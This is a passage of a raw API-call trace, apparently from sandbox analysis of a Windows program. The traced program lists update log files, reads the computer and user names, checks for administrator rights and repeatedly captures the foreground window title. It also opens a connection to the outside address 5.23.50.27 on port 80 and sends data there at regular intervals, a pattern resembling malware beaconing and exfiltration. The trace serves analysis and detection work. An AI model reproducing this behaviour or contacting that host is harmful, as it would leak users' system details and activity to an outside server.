cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1 [0218.225] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf801cbae, ftLastAccessTime.dwHighDateTime=0x1d75217, ftLastWriteTime.dwLowDateTime=0x1f56df07, ftLastWriteTime.dwHighDateTime=0x1d75218, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1 [0218.225] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf98df460, ftLastAccessTime.dwHighDateTime=0x1d705ef, ftLastWriteTime.dwLowDateTime=0x22721e58, ftLastWriteTime.dwHighDateTime=0x1d705f0, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1 [0218.226] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x6fb852ed, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xa05d916a, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1 [0218.226] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x46a3d34f, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6df6574e, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1 [0218.226] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x95f9994e, ftLastAccessTime.dwHighDateTime=0x1d7046d, ftLastWriteTime.dwLowDateTime=0x95f9994e, ftLastWriteTime.dwHighDateTime=0x1d7046d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1 [0218.226] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x9ee92c6a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0xc6371102, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1 [0218.227] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xe7e7af85, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe7e7af85, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UPDATE~4.ETL")) returned 1 [0218.227] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x4e8a793e, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4e8a793e, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPDATE~2.ETL")) returned 1 [0218.227] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0x1d9a4c7e, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPDATE~1.ETL")) returned 1 [0218.228] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7b0d97d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xa689893c, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xac9249a5, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.001.etl", cAlternateFileName="UP654C~1.ETL")) returned 1 [0218.228] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7b0d97d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe7b0d97d, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xa690be1, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UPDATE~3.ETL")) returned 1 [0218.228] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7b0d97d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe7b0d97d, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xa690be1, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UPDATE~3.ETL")) returned 0 [0218.228] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0218.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0218.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc490) returned 1 [0248.096] CoUninitialize () Thread: id = 334 os_tid = 0xf40 Thread: id = 335 os_tid = 0xf44 Thread: id = 336 os_tid = 0xf58 Thread: id = 338 os_tid = 0xf6c Thread: id = 339 os_tid = 0xf84 [0210.276] CoGetContextToken (in: pToken=0x1d8af800 | out: pToken=0x1d8af800) returned 0x0 [0210.276] IUnknown:QueryInterface (in: This=0x4b00f0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d8af838 | out: ppvObject=0x1d8af838*=0x4b0108) returned 0x0 [0210.277] IComThreadingInfo:GetCurrentThreadType (in: This=0x4b0108, pThreadType=0x1d8af8a8 | out: pThreadType=0x1d8af8a8*=0) returned 0x0 [0210.277] IUnknown:Release (This=0x4b0108) returned 0x1 [0210.277] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0210.277] RoInitialize () returned 0x1 [0210.277] RoUninitialize () returned 0x0 Thread: id = 340 os_tid = 0xf88 [0210.459] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0210.459] RoInitialize () returned 0x1 [0210.459] RoUninitialize () returned 0x0 [0234.652] GetComputerNameW (in: lpBuffer=0x1ebae930, nSize=0x1ebaec58 | out: lpBuffer="XC64ZB", nSize=0x1ebaec58) returned 1 [0234.733] GetUserNameW (in: lpBuffer=0x1ebae950, pcbBuffer=0x1ebaec78 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1ebaec78) returned 1 [0234.943] GetCurrentProcess () returned 0xffffffffffffffff [0234.944] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ebaead8 | out: TokenHandle=0x1ebaead8*=0xd48) returned 1 [0234.952] GetTokenInformation (in: TokenHandle=0xd48, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1ebaeb38 | out: TokenInformation=0x0, ReturnLength=0x1ebaeb38) returned 0 [0234.953] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1b353740 [0234.953] GetTokenInformation (in: TokenHandle=0xd48, TokenInformationClass=0x8, TokenInformation=0x1b353740, TokenInformationLength=0x4, ReturnLength=0x1ebaeb38 | out: TokenInformation=0x1b353740, ReturnLength=0x1ebaeb38) returned 1 [0234.953] LocalFree (hMem=0x1b353740) returned 0x0 [0234.953] DuplicateTokenEx (in: hExistingToken=0xd48, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1ebaeb98 | out: phNewToken=0x1ebaeb98*=0xd44) returned 1 [0234.953] CheckTokenMembership (in: TokenHandle=0xd44, SidToCheck=0x2b05e00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1ebaeba0 | out: IsMember=0x1ebaeba0) returned 1 [0234.953] CloseHandle (hObject=0xd44) returned 1 [0235.091] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaece8 | out: lpPerformanceCount=0x1ebaece8*=1155396367338) returned 1 [0235.468] GetForegroundWindow () returned 0x201d0 [0235.624] CoTaskMemAlloc (cb=0x804) returned 0x1d30c1e0 [0235.624] GetWindowTextW (in: hWnd=0x201d0, lpString=0x1d30c1e0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0235.624] CoTaskMemFree (pv=0x1d30c1e0) [0239.273] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1155814556582) returned 1 [0239.274] SetEvent (hEvent=0x300) returned 1 [0239.409] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xaac [0239.410] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xd44 [0239.410] WSAConnect (in: s=0xaac, name=0x29a7b60*(sa_family=2, sin_port=0x50, sin_addr="5.23.50.27"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0239.461] closesocket (s=0xd44) returned 0 [0239.462] send (s=0xaac, buf=0x29ed9c8*, len=2480, flags=0) returned 2480 [0239.463] setsockopt (s=0xaac, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0239.463] recv (in: s=0xaac, buf=0x24f9498, len=4096, flags=0 | out: buf=0x24f9498*) returned 267 [0240.629] setsockopt (s=0xaac, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0240.630] SetEvent (hEvent=0x300) returned 1 [0240.808] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1155968046686) returned 1 [0241.875] GetForegroundWindow () returned 0x201d0 [0241.875] CoTaskMemAlloc (cb=0x804) returned 0x1b352860 [0241.875] GetWindowTextW (in: hWnd=0x201d0, lpString=0x1b352860, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0241.876] CoTaskMemFree (pv=0x1b352860) [0241.881] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1156075334698) returned 1 [0241.882] SetEvent (hEvent=0x300) returned 1 [0241.884] select (in: nfds=0, readfds=0x28eef18, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x28eef18, writefds=0x0, exceptfds=0x0) returned 0 [0241.884] send (s=0x7d0, buf=0x28f06a8*, len=2480, flags=0) returned 2480 [0241.886] recv (in: s=0x7d0, buf=0x24fb4c8, len=4096, flags=0 | out: buf=0x24fb4c8*) returned 267 [0248.013] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0248.020] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1156689225348) returned 1 [0249.022] GetForegroundWindow () returned 0x201d0 [0249.022] CoTaskMemAlloc (cb=0x804) returned 0x1d4824a0 [0249.022] GetWindowTextW (in: hWnd=0x201d0, lpString=0x1d4824a0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0249.022] CoTaskMemFree (pv=0x1d4824a0) [0249.026] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1156789891514) returned 1 [0249.028] select (in: nfds=0, readfds=0x28de9e8, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x28de9e8, writefds=0x0, exceptfds=0x0) returned 0 [0249.028] send (s=0x7d0, buf=0x28e0178*, len=2480, flags=0) returned 2480 [0249.029] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0249.029] recv (in: s=0x7d0, buf=0x24fb4c8, len=4096, flags=0 | out: buf=0x24fb4c8*) returned 267 [0253.111] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0253.122] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1157199461328) returned 1 [0254.136] GetForegroundWindow () returned 0x201d0 [0254.136] CoTaskMemAlloc (cb=0x804) returned 0x1d459670 [0254.136] GetWindowTextW (in: hWnd=0x201d0, lpString=0x1d459670, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0254.138] CoTaskMemFree (pv=0x1d459670) [0254.143] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1157301527482) returned 1 [0254.143] SetEvent (hEvent=0x300) returned 1 [0254.145] select (in: nfds=0, readfds=0x282e0c0, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x282e0c0, writefds=0x0, exceptfds=0x0) returned 0 [0254.145] send (s=0x7d0, buf=0x282f850*, len=2480, flags=0) returned 2480 [0254.146] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0254.146] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0254.252] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0254.252] SetEvent (hEvent=0x300) returned 1 [0254.257] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1157312927762) returned 1 [0255.259] GetForegroundWindow () returned 0x100ec [0255.259] CoTaskMemAlloc (cb=0x804) returned 0x1e729f00 [0255.259] GetWindowTextW (in: hWnd=0x100ec, lpString=0x1e729f00, nMaxCount=1024 | out: lpString="FolderView") returned 10 [0255.260] CoTaskMemFree (pv=0x1e729f00) [0255.264] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1157413675080) returned 1 [0255.265] SetEvent (hEvent=0x300) returned 1 [0255.266] select (in: nfds=0, readfds=0x287b2e8, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x287b2e8, writefds=0x0, exceptfds=0x0) returned 0 [0255.266] send (s=0x7d0, buf=0x287cd00*, len=2804, flags=0) returned 2804 [0255.270] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0255.270] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0258.336] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0258.336] SetEvent (hEvent=0x300) returned 1 [0258.343] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1157721720696) returned 1 [0259.348] GetForegroundWindow () returned 0x201d0 [0259.348] CoTaskMemAlloc (cb=0x804) returned 0x1e729f00 [0259.348] GetWindowTextW (in: hWnd=0x201d0, lpString=0x1e729f00, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0259.349] CoTaskMemFree (pv=0x1e729f00) [0259.352] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1157822457698) returned 1 [0259.352] SetEvent (hEvent=0x300) returned 1 [0259.354] select (in: nfds=0, readfds=0x2918a08, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x2918a08, writefds=0x0, exceptfds=0x0) returned 0 [0259.354] send (s=0x7d0, buf=0x291a460*, len=2837, flags=0) returned 2837 [0259.355] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0259.355] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0262.427] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0262.427] SetEvent (hEvent=0x300) returned 1 [0262.433] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1158130521275) returned 1 [0263.452] GetForegroundWindow () returned 0x201d0 [0263.453] CoTaskMemAlloc (cb=0x804) returned 0x1e729f00 [0263.453] GetWindowTextW (in: hWnd=0x201d0, lpString=0x1e729f00, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0263.453] CoTaskMemFree (pv=0x1e729f00) [0263.459] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1158233159503) returned 1 [0263.459] SetEvent (hEvent=0x300) returned 1 [0263.465] select (in: nfds=0, readfds=0x2866c80, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x2866c80, writefds=0x0, exceptfds=0x0) returned 0 [0263.465] send (s=0x7d0, buf=0x28686d8*, len=2837, flags=0) returned 2837 [0263.466] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0263.466] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0263.569] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0263.570] SetEvent (hEvent=0x300) returned 1 [0263.574] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1158244655051) returned 1 [0264.616] GetForegroundWindow () returned 0x201d0 [0264.617] CoTaskMemAlloc (cb=0x804) returned 0x502350 [0264.617] GetWindowTextW (in: hWnd=0x201d0, lpString=0x502350, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0264.617] CoTaskMemFree (pv=0x502350) [0264.625] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1158349796369) returned 1 [0264.626] SetEvent (hEvent=0x300) returned 1 [0264.632] GetCurrentProcess () returned 0xffffffffffffffff [0264.632] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ebae1c8 | out: TokenHandle=0x1ebae1c8*=0x3d8) returned 1 [0264.668] RegNotifyChangeKeyValue (hKey=0x758, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x75c, fAsynchronous=1) returned 0x0 [0264.669] GetCurrentProcess () returned 0xffffffffffffffff [0264.669] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ebae1c8 | out: TokenHandle=0x1ebae1c8*=0x328) returned 1 [0264.670] RegNotifyChangeKeyValue (hKey=0x760, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x764, fAsynchronous=1) returned 0x0 [0264.671] GetCurrentProcess () returned 0xffffffffffffffff [0264.671] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ebae1c8 | out: TokenHandle=0x1ebae1c8*=0x32c) returned 1 [0264.672] RegNotifyChangeKeyValue (hKey=0x768, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x76c, fAsynchronous=1) returned 0x0 [0264.673] GetCurrentProcess () returned 0xffffffffffffffff [0264.674] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ebae168 | out: TokenHandle=0x1ebae168*=0x4ec) returned 1 [0264.676] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1ebae120 | out: pProxyConfig=0x1ebae120) returned 1 [0264.712] select (in: nfds=0, readfds=0x2900cd8, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x2900cd8, writefds=0x0, exceptfds=0x0) returned 0 [0264.713] send (s=0x7d0, buf=0x2902730*, len=2837, flags=0) returned 2837 [0264.714] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0264.714] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0269.838] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0269.839] SetEvent (hEvent=0x300) returned 1 [0269.851] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1158872336029) returned 1 [0270.866] GetForegroundWindow () returned 0x201d0 [0270.866] CoTaskMemAlloc (cb=0x804) returned 0x502350 [0270.866] GetWindowTextW (in: hWnd=0x201d0, lpString=0x502350, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0270.867] CoTaskMemFree (pv=0x502350) [0270.875] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1158974726806) returned 1 [0270.875] SetEvent (hEvent=0x300) returned 1 [0270.877] select (in: nfds=0, readfds=0x287dcf8, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x287dcf8, writefds=0x0, exceptfds=0x0) returned 0 [0270.878] send (s=0x7d0, buf=0x287f750*, len=2838, flags=0) returned 2838 [0270.883] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0270.883] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0271.980] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0271.980] SetEvent (hEvent=0x300) returned 1 [0271.986] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1159085822632) returned 1 [0272.991] GetForegroundWindow () returned 0x100ec [0272.991] CoTaskMemAlloc (cb=0x804) returned 0x502350 [0272.991] GetWindowTextW (in: hWnd=0x100ec, lpString=0x502350, nMaxCount=1024 | out: lpString="FolderView") returned 10 [0272.992] CoTaskMemFree (pv=0x502350) [0273.003] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1159187564289) returned 1 [0273.003] SetEvent (hEvent=0x300) returned 1 [0273.005] select (in: nfds=0, readfds=0x2ab6ee0, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x2ab6ee0, writefds=0x0, exceptfds=0x0) returned 0 [0273.006] send (s=0x7d0, buf=0x2ab88f8*, len=2804, flags=0) returned 2804 [0273.007] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0273.007] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0274.073] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0274.074] SetEvent (hEvent=0x300) returned 1 [0274.081] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1159295348788) returned 1 [0275.092] GetForegroundWindow () returned 0x201d0 [0275.093] CoTaskMemAlloc (cb=0x804) returned 0x502350 [0275.093] GetWindowTextW (in: hWnd=0x201d0, lpString=0x502350, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0275.093] CoTaskMemFree (pv=0x502350) [0275.101] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1159397325488) returned 1 [0275.101] SetEvent (hEvent=0x300) returned 1 [0275.103] select (in: nfds=0, readfds=0x2894368, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x2894368, writefds=0x0, exceptfds=0x0) returned 0 [0275.104] send (s=0x7d0, buf=0x2895dc0*, len=2837, flags=0) returned 2837 [0275.105] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0275.105] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0276.205] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0276.205] SetEvent (hEvent=0x300) returned 1 [0276.211] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1159508319093) returned 1 [0277.219] GetForegroundWindow () returned 0x201d0 [0277.219] CoTaskMemAlloc (cb=0x804) returned 0x502350 [0277.220] GetWindowTextW (in: hWnd=0x201d0, lpString=0x502350, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0277.221] CoTaskMemFree (pv=0x502350) [0277.240] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebae558 | out: lpPerformanceCount=0x1ebae558*=1159611597896) returned 1 [0277.244] SetEvent (hEvent=0x300) returned 1 [0277.248] select (in: nfds=0, readfds=0x29d1518, writefds=0x0, exceptfds=0x0, timeout=0x1ebae3a8*(tv_sec=0, tv_usec=0) | out: readfds=0x29d1518, writefds=0x0, exceptfds=0x0) returned 0 [0277.249] send (s=0x7d0, buf=0x29d2f70*, len=2837, flags=0) returned 2837 [0277.252] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0277.252] recv (in: s=0x7d0, buf=0x24fa270, len=4096, flags=0 | out: buf=0x24fa270*) returned 267 [0278.347] setsockopt (s=0x7d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0278.347] SetEvent (hEvent=0x300) returned 1 [0278.353] QueryPerformanceCounter (in: lpPerformanceCount=0x1ebaec78 | out: lpPerformanceCount=0x1ebaec78*=1159722529426) returned 1 [0279.355] GetForegroundWindow () returned 0x201d0 [0279.355] CoTaskMemAlloc (cb=0x804) returned 0x502350 [0279.355] GetWindowTextW (in: 